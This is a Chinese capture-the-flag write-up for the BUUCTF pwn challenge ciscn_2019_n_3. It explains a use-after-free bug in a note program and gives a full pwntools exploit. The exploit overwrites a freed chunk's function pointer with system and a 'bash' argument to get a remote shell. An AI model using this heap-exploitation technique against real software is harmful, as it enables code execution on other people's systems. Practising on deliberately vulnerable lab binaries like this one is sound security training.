[BUUCTF]-PWN:ciscn_2019_n_3解析

堆题,先看保护

[BUUCTF]-PWN:ciscn_2019_n_3解析_第1张图片

32位,Partial RELRO,没pie关键信息就那么多,看ida

[BUUCTF]-PWN:ciscn_2019_n_3解析_第2张图片

大致就是alloc创建堆块,free释放堆块,dump打印堆块内容

[BUUCTF]-PWN:ciscn_2019_n_3解析_第3张图片

但是仔细看这三个函数就可以发现在实际运行中,会先创建一个存有free相关函数的地址和打印堆块内容相关函数的地址。

[BUUCTF]-PWN:ciscn_2019_n_3解析_第4张图片

看delete函数并结合动态调试,可以知道释放堆块的过程实际上是调用先创造的12字节堆块的rec_str_free。那也就意味着无论那块地址存的是哪里的地址,我们在free堆块时他都会执行,并且题目给了我们system。注意,这里释放堆块之后并没有清除指向堆块的指针,也就是存在records数组的地址,所以我们可以利用这一漏洞修改12字节堆块中free的地址为system

解题思路:

由于free堆块没有清除records处的指针,所以可以利用uaf漏洞将某一堆块前的12字节堆块的rec_str_free修改为system,再填充bash参数getshell。(我这里参数为/bin/sh没有成功)

完整exp:

from pwn import*
context(log_level='debug')
#p=process('./n3')
p=remote('node5.buuoj.cn',27226)
system_plt=0x8048500

def intalloc(index,context):
    p.sendlineafter(b'CNote >',str(1))
    p.sendlineafter(b'Index',str(index))
    p.sendlineafter(b'Type',str(1))
    p.sendlineafter(b'Value >',context)
def alloc(index,size,context):
    p.sendlineafter(b'CNote >',str(1))
    p.sendlineafter(b'Index',str(index))
    p.sendlineafter(b'Type',str(2))
    p.sendlineafter(b'Length',str(size))
    p.sendlineafter(b'Value >',context)#这里注意别把context给str了
def free(index):
    p.sendlineafter(b'CNote >',str(2))
    p.sendlineafter(b'Index',str(index))
def dump(index):
    p.sendlineafter(b'CNote >',str(3))
    p.sendlineafter(b'Index',str(index))

alloc(0,0x10,p8(0))
alloc(1,0x10,p8(0))
free(0)
free(1)
alloc(2,12,b'bash'+p32(system_plt))#这里会把堆块0,1对应的12字节堆块申请出来
free(0)
p.interactive()

补充点1:如果程序跳转执行12字节堆块rec_str_free没理解也可以看反汇编,大概可以理解为records[x+4](records[x]),这里对应了system和b'bash'。

补充点2:在这个exp下system的参数用/bin/sh没法getshell

你可能感兴趣的:(chrome,前端,网络安全,安全)